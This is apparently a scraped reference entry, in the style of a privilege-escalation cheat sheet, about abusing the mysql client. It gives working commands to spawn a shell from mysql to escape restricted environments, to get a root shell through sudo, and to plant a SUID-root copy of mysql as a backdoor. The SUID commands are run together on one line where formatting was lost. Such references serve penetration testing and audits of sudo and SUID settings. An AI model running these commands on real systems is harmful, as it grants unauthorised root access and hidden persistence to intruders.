A valid MySQL server must be available.
It can be used to break out from restricted environments by spawning an interactive system shell.
mysql -e '\! /bin/sh'
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
sudo mysql -e '\! /bin/sh'
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run commands it only works on systems
like Debian that allow the default
sh shell to run with SUID privileges.
cp $(which mysql) . sudo sh -c 'chown 0 ./mysql; chmod +s ./mysql' ./mysql -e '\! /bin/sh'